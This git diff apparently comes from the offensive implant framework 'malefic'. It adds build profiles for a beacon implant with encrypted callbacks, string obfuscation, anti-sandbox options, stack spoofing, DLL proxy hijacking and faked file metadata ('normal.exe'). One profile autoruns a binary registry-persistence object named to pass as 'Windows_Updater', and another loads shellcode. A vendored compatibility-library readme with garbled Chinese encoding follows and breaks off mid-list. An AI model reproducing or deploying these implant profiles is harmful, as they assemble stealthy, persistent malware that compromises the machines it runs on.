a/profiles/malefic-with-prelude/implant.yaml b/profiles/malefic-with-prelude/implant.yaml new file mode 100644 index 0000000..855b8e4 --- /dev/null +++ b/profiles/malefic-with-prelude/implant.yaml @@ -0,0 +1,135 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:8080" # ip:port + http: + method: "POST" + path: "/" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Content-Type: "application/octet-stream" + tls: + enable: false + skip_verification: true + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: # module when malefic compile + - "full" + enable_3rd: false # enable 3rd module + 3rd_modules: # 3rd module when malefic compile + - full + + prelude: "prelude.yaml" # autorun config filename + pack: [] # pack + # - src: "1.docx" + # dst: "1.docs" + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # åæ²™ç®±å调试å编译åå–è¯ç›¸å…³ + sandbox: false + vm: false # enable anti vm + # debug: true # enable anti debug + # disasm: true # enable anti disasm + # emulator: true # enable anti emulator + # forensic: true # enable anti forensic + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-with-prelude/prelude.yaml b/profiles/malefic-with-prelude/prelude.yaml new file mode 100644 index 0000000..4fb04ee --- /dev/null +++ b/profiles/malefic-with-prelude/prelude.yaml @@ -0,0 +1,9 @@ +- name: bof + depend_on: execute_bof + body: !ExecuteBinary + name: bof + bin: !File "persist_with_reg.x64.o" + Arc: 1 + args: + - "str:Windows_Updater" + - "str:self" \ No newline at end of file diff --git a/profiles/malefic-with-prelude/resources/persist_with_reg.x64.o b/profiles/malefic-with-prelude/resources/persist_with_reg.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..24fd74eafd0a89bddfef8c693c27e95ab9d38b9b GIT binary patch literal 3006 zcmZ`*|8G-O6u)on00#tA@Ea-@(uGY%Z9yY0YF4_!BXpzLVEnMn@z&nX#;&h|{&r&(Hnw-Ov+nQC;} zG*{9EWv7T|G&>x?ykCWaEXLq(AUfB~i-Gb_XDcr@5G}X!`jEpnGG(?7CIc)s@cawS zwj9F=FW0(;<~@3BY*amSM@>6d($4n@=O@+qPOYRPJ+;k5Qx|s8C;qdPT~nRa>ba`@ zkXmuow|muvS6!ZSsrCyr*6#soh^UW&%0aof9-VX=uijp#)(w8Wpr~h-)bZD+CNEPY z95Fb{h$4Q~3!$<(1ylH5|MHCsim?d}%dHOKf{$NzlR14yMP1`n)w!-ZgOQl({0NH$ zSg6k3dREV12$%LAwPHnHiC+a{5t7>Smth!#c(Yuq)y`HooP8MMgU%lyEQ5fcmemTp zrsCDaMbwh1S1y5Zil*Wq-6JpV+9aGRV(x)#I|wrU<#eT!7!VFOgttB;Q9U?#Rvin@ zoWE;Tbs-&zB`$)?FhO%s&Q&pmJHhdWuY=BgIIlDWu7}#S+i4F#dmdU!q!G-woXo zuUhLyF4$K`B0UrlC*iH+gIaCTZR6V}`IuI;1uto{f@if-Nw@g4;9|CH&37@Zs~kRSUhVRhA3HFG@D9)8FDgh=kvk4*> z*3eCiCXN+KIsJq=;n|G|!z}2fi4nWxu0SI>y(~)H5HkhSGUoZ4VxIR1!_W=ho$Hm^ z9TM~XTs@RLIze;M`ZcUgERApcmb>h&=8a;=V7tb5PV!MZn-!*+w~NJjuH|xA8_l+K z!!B{GvO#qMYa|d>Fa)Sty%N2ptbyqU4-cnWLq`!z!8K#Xp2d{NOg3drCtLGwI2JnI zQC2dHDV-gxbGH&x)~;e}m0niYDEOa;r=?BBv!(A3_-*vQ`>=7J0H*Kz`1JrENGAJv z&w=5iy*&P6baylcS+H%vfNa8SJNhSG)Q_HghFKE*Q!Wy|tPDg}VfGRFr(N_ZdTH^w zk1hd8-c4V27l@9sFuU(-yYR=9wmW^4@zEI2v#v$Xml-~q_t6JHGSUk`TV0DUfVhjk z29k4J_t8Bc)qJ!Ht0sAye6-a^yL^=OkqIQT#6*m$8bWq;gbSTL;>zfrlUnjG(I#I@ z6_7GoPl>p%jrcOEsMPlP+GrjJ2S(H$)EJvlysaJ0N}<>PG~|(tVvIU;7f*9LvpCD&267Iqz6t&q3XA{p@2vR6Ree#yxqq6 zuubxDn`Eg?a-&W1XPe~Fz}j}OC`R%f7&&?JB+Jmrm8c(F?0~SmQ@(Kk(v8Ftxm-dX zszK|islse|YM;=udT9`ERo5G9m8Rw_L(5v8d}wqmIdUX|E21b$P27x8C|P+=bSO14 zoJ#N69YIJ#dd@D2{rD>kjNzK&_g33{0xySy> L+GJ5T1#H=WHezU2 literal 0 HcmV?d00001 diff --git a/profiles/prelude-shellcode/implant.yaml b/profiles/prelude-shellcode/implant.yaml new file mode 100644 index 0000000..110d878 --- /dev/null +++ b/profiles/prelude-shellcode/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/prelude-shellcode/prelude.yaml b/profiles/prelude-shellcode/prelude.yaml new file mode 100644 index 0000000..5dd3e3d --- /dev/null +++ b/profiles/prelude-shellcode/prelude.yaml @@ -0,0 +1,6 @@ +- name: execute_shellcode + depend_on: execute_shellcode + body: !ExecuteBinary + name: execute_shellcode + bin: !File "shellcode.bin" + Arc: 1 \ No newline at end of file diff --git a/profiles/prelude-shellcode/resources/shellcode.bin b/profiles/prelude-shellcode/resources/shellcode.bin new file mode 100644 index 0000000..adaf775 --- /dev/null +++ b/profiles/prelude-shellcode/resources/shellcode.bin @@ -0,0 +1 @@ +shellcode file \ No newline at end of file diff --git a/profiles/pulse-tcp/implant.yaml b/profiles/pulse-tcp/implant.yaml new file mode 100644 index 0000000..39c9988 --- /dev/null +++ b/profiles/pulse-tcp/implant.yaml @@ -0,0 +1,116 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:5001" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 6 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:5001 + protocol: "tcp" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-winhttp-http/implant.yaml b/profiles/pulse-winhttp-http/implant.yaml new file mode 100644 index 0000000..e8b0c86 --- /dev/null +++ b/profiles/pulse-winhttp-http/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:80" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + api_type: "winhttp" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-winhttp-https/implant.yaml b/profiles/pulse-winhttp-https/implant.yaml new file mode 100644 index 0000000..a9c054a --- /dev/null +++ b/profiles/pulse-winhttp-https/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:443" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:443 + protocol: "https" + api_type: "winhttp" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-wininet-http/implant.yaml b/profiles/pulse-wininet-http/implant.yaml new file mode 100644 index 0000000..c06c8eb --- /dev/null +++ b/profiles/pulse-wininet-http/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:80" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + api_type: "wininet" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-wininet-https/implant.yaml b/profiles/pulse-wininet-https/implant.yaml new file mode 100644 index 0000000..81405fd --- /dev/null +++ b/profiles/pulse-wininet-https/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:443" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:443 + protocol: "https" + api_type: "wininet" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/proto b/proto new file mode 160000 index 0000000..13d2289 --- /dev/null +++ b/proto @@ -0,0 +1 @@ +Subproject commit 13d2289e5b8c8929154bb30331f679387836f2f4 diff --git a/resources/YY-Thunks-Objs/Readme.md b/resources/YY-Thunks-Objs/Readme.md new file mode 100755 index 0000000..d5d4886 --- /dev/null +++ b/resources/YY-Thunks-Objs/Readme.md @@ -0,0 +1,180 @@ +# YY-Thunks - It's easier to make your apps compatible with older versions of Windows! +[![license](https://img.shields.io/github/license/Chuyu-Team/YY-Thunks)](https://github.com/Chuyu-Team/YY-Thunks/blob/master/LICENSE) +[![downloads](https://img.shields.io/github/downloads/Chuyu-Team/YY-Thunks/total)](https://github.com/Chuyu-Team/YY-Thunks/releases) +[![contributors](https://img.shields.io/github/contributors-anon/Chuyu-Team/YY-Thunks)](https://github.com/Chuyu-Team/YY-Thunks/graphs/contributors) +[![release](https://img.shields.io/github/v/release/Chuyu-Team/YY-Thunks?include_prereleases)](https://github.com/Chuyu-Team/YY-Thunks/releases) +[![nuget](https://img.shields.io/nuget/vpre/YY-Thunks)](https://www.nuget.org/packages/YY-Thunks) +[![Build&Test](https://github.com/Chuyu-Team/YY-Thunks/actions/workflows/Build&Test.yml/badge.svg)](https://github.com/Chuyu-Team/YY-Thunks/actions/workflows/Build&Test.yml) + +- [简体中文](Readme.osc.md) + +## 1. About YY-Thunks + +With each new version of Windows, a large number of APIs are added, +and it often takes a lot of effort to develop Windows applications +that are compatible with older systems. And some open source projects +are no longer compatible with some earlier versions of Windows, such as Windows XP, Windows 7... + +Isn't there a solution to quickly deal with the problem that the old system can't find the API? + +YY-Thunks can solve these kinds of problems quickly and without changing the code. +These compatibility issues can be resolved automatically by tweaking the linker. +It's easier to make your apps compatible with older versions of Windows! + +[ [YY-Thunks QQ Group 633710173](https://shang.qq.com/wpa/qunwpa?idkey=21d51d8ad1d77b99ea9544b399e080ec347ca6a1bc04267fb59cebf22644a42a) ] + +### 1.1. The principle of YY-Thunks + +Use `LoadLibrary` and `GetProcAddress` to dynamically load the API. +If the API doesn't exist, then implement its behavior and get your program running properly. + +As follows: GetTickCount64 + +```cpp +// Windows XP not support GetTickCount64. +ULONGLONG WINAPI GetTickCount64(VOID) +{ + if (auto const _pfnGetTickCount64 = try_get_GetTickCount64()) + { + return _pfnGetTickCount64(); + } + // Fallback + return GetTickCount(); +} +``` + +### 1.2. Highlight + +* Faster! Safer! Built-in L2 cache and encrypt all function pointers to prevent brute-force memory searches. + Minimize unwanted, unnecessary calls to `LoadLibrary` and `GetProcAddress`. +* Make your application easily compatible with Windows XP so you can focus on your business logic. +* The code is completely open source, and everyone is welcome to create PRs to contribute to the YY-Thunks. + +## 2. How to used? + +You can choose one of the following options, but it is recommended to use NuGet first, +as NuGet is designed to be foolproof and easier to use. + +### 2.1. For Vistual Studio C++ Project +1. Right-click on the `Project` and select `Manage NuGet Packages`, then search for `YY-Thunks` and choose the version that suits you, and finally click Install. +2. For XP support, Right click on the project, Properties - NuGet Packages Settings - YY-Thunks - 最å°å…¼å®¹ç³»ç»Ÿç‰ˆæœ¬ - 5.1.2600.0. +3. Rebuild the solution. + +### 2.2. For Vistual Studio .NET Native AOT Project +1. modify the value of `TargetFramework` to `net8.0-windows` or `net9.0-windows`。 +2. Right-click on the `Project` and select `Manage NuGet Packages`, then search for `YY-Thunks` and choose the version that suits you, and finally click Install. +3. For XP support, please modify the value of `SupportedOSPlatformVersion` to `5.1`. For example: + ```xml + + + + net8.0-windows + 5.1 + + + + + ``` +3. Rebuild the solution. + +### 2.3. For CMake Project +1. Create file `Directory.Build.props` in source directory, and add the following code: + ```xml + + + + + + + native,Version=v0.0 + win;win-x86;win-x64;win-arm;win-arm64 + + + 5.1.2600 + + + + + 1.1.7-Beta3 + + + + + $([MSBuild]::GetPathOfFileAbove('Directory.Build.props', '$(MSBuildThisFileDirectory)../')) + + + + ``` +2. Start Build, for example: + ``` + # The Gen parameter must be use `Visual Studio`, as Visual Studio only supports nuget. + # Assuming that the output dir is `.build\x86-Release`, you can modify it as needed. + cmake -G "Visual Studio 17 2022" -A Win32 -DCMAKE_CONFIGURATION_TYPES:STRING=Release -DCMAKE_INSTALL_PREFIX:PATH=.\build\x86-Release . + + # Note the `-- -r` at the end, which is the command to restore the nuget package. + cmake --build .\build\x86-Release --config Release -- -r + + cmake --install .\build\x86-Release --config Release + ``` +3. Rebuild the project + +### 2.4. I don't want to use NuGet, how do I configure the project manually? +#### 2.4.1. using obj file (MSVC Link) +1. Download and unzip [YY-Thunks-Objs](https://github.com/Chuyu-Team/YY-Thunks/releases) to project directory. +2. `Linker` - `Input` - `Additional Dependencies`, add `objs\$(PlatformShortName)\YY_Thunks_for_WinXP.obj`. +3. `Linker` - `System` - `Minimum Required Version`, set to `5.1` (WinXP 32-bit) or `5.2` (WinXP x64 or Win2003). +4. If the project is a `Dynamic Link Library`, then change `Linker` - `Advanced` - `Custom Entry Point` to `DllMainCRTStartupForYY_Thunks` + (If you ignore this step, the XP system may crash with `thread_local`). +5. Rebuild the solution. + +> Note: If your app needs to be compatible with Vista or later, please set `Additional Dependencies` to + `objs\$(PlatformShortName)\YY_Thunks_for_Vista.obj`。 + +#### 2.4.2. using lib files (LLD-Link) +> LLD-Link linkers using obj files will encounter duplicate symbol errors. + +1. Download and unzip [YY-Thunks-Lib](https://github.com/Chuyu-Team/YY-Thunks/releases) to project directory. +2. Add a parameter like `-LIBPATH:YY-Thunks_Root_Dir/lib/5.1.2600.0/x86` to the linker and make sure the order is higher than WinSDK. +3. Please add parameter `-SUBSYSTEM:WINDOWS",5.1"` or `-SUBSYSTEM:CONSOLE",5.1"` or `-SUBSYSTEM:WINDOWS",5.2"` or `-SUBSYSTEM:CONSOLE",5.2"` to linker. +4. If the project is a `Dynamic Link Library`, please add parameter `-ENTRY:DllMainCRTStartupForYY_Thunks` to linker + (If you ignore this step, the XP system may crash with `thread_local`). +5. Rebuild the solution. + +## 3. Compatibility + +### 3.1. Supported Compiler + +Compatible with all platforms. + +* It is supported by all Visual Studio versions (such as: VC6.0, VS2008, VS2010, VS2015, VS2017, VS2019, VS2022...). +* All runtime modes are supported (such as: `/MD`, `/MT`, `/MDd`, `/MTd`). + +### 3.2. Windows SDK Version Requirements +| Thunks Target | At Least Windows SDK Version is required +| ------------------ | ----------- +| Windows 2000 | SDK 6.0 (VS2008 built-in) +| Windows XP(2003) | SDK 6.0 (VS2008 built-in) +| Windows Vista | SDK 6.0 (VS2008 built-in) +| Windows 7 | SDK 7.0 +| Windows 8 | SDK 8.0 +| Windows 8.1 | SDK 8.1 +| Windows 10 10240 | SDK 10.0.10240 +| Windows 10 19041 | SDK 10.0.19041 + +At least Windows SDK 6.0 is required. + +> Note: VC6.0 and VS2005 users should note that the SDK version that comes with these compilers by default is too low. +Please upgrade the SDK to version 6.0 or later, and then use YY-Thunks, otherwise the link will not be successful! +The different SDK version don't affect your app compatibility with the old system. + +### 3.3. Thunks API List + +See the [ThunksList.md](ThunksList.md) + +## 4. Others +### 4.1. Changelog +See the [releases Changelog](https://github.com/Chuyu-Team/YY-Thunks/releases) + +### 4.2. Third Party +* [WinDepends](https://github.com/hfiref0x/WinDepends) + - YY. Depends.Analyzer provides support for Windows API Sets based on this open source project. diff --git a/resources/YY-Thunks-Objs/ThunksList.md b/resources/YY-Thunks-Objs/ThunksList.md new file mode 100755 index 0000000..99558df --- /dev/null +++ b/resources/YY-Thunks-Objs/ThunksList.md @@ -0,0 +1,898 @@ +# YY-Thunks Thunks æ¸…å• + +此表展示了YY-Thunks(鸭船)å¯ä»¥è§£å†³çš„函数ä¸å­˜åœ¨é—®é¢˜ï¼Œæ¬¢è¿Žå¤§å®¶æ‰©å……ï¼ + +> 开头带`*`的函数并ä¸å»ºè®®ä½¿ç”¨ï¼Œå­˜åœ¨ä¸€äº›è¾ƒå¤§è´Ÿé¢å½±å“,仅用于编译通过处ç†ï¼Œå…·ä½“è´Ÿé¢å½±å“å¯å‚考注释内容。 + +## api-ms-win-core-file-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| WriteFile | å…许_puNumberOfBytesWrittenã€_pOverlappedåŒæ—¶ä¸ºnullptr。 +| ReadFile | å…许_puNumberOfBytesReadã€_pOverlappedåŒæ—¶ä¸ºnullptr。 + +## api-ms-win-core-file-l1-2-4.dll +| 函数 | Fallback +| ---- | ----------- +| GetTempPath2W(A) | 调用GetTempPathW(A)。 + +## api-ms-win-core-file-l1-2-5.dll +| 函数 | Fallback +| ---- | ----------- +| CreateFile3 | 调用CreateFile2。 + +## api-ms-win-core-file-l2-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| CopyFile2 | 调用CopyFileExW。 + + +## api-ms-win-core-handle-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| CompareObjectHandles | 调用NtQueryObject以åŠDuplicateHandle。 + +## api-ms-win-core-path-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| PathIsUNCEx | 内部实现。 +| PathCchIsRoot | 内部实现。 +| PathCchAddBackslashEx | 内部实现。 +| PathCchAddBackslash | 调用PathCchAddBackslashEx。 +| PathCchRemoveBackslashEx | 内部实现。 +| PathCchRemoveBackslash | 调用PathCchRemoveBackslashEx。 +| PathCchSkipRoot | 内部实现。 +| PathCchStripToRoot | 内部实现。 +| PathCchRemoveFileSpec | 内部实现。 +| PathCchFindExtension | 内部实现。 +| PathCchAddExtension | 调用PathCchFindExtension。 +| PathCchRenameExtension | 调用PathCchFindExtension。 +| PathCchRemoveExtension | 调用PathCchFindExtension。 +| PathCchCanonicalizeEx | 内部实现。 +| PathCchCanonicalize | 调用PathCchCanonicalizeEx。 +| PathCchCombineEx | 内部实现。 +| PathCchCombine | 调用PathCchCombineEx。 +| PathCchAppendEx | 调用PathCchCombineEx。 +| PathCchAppend | 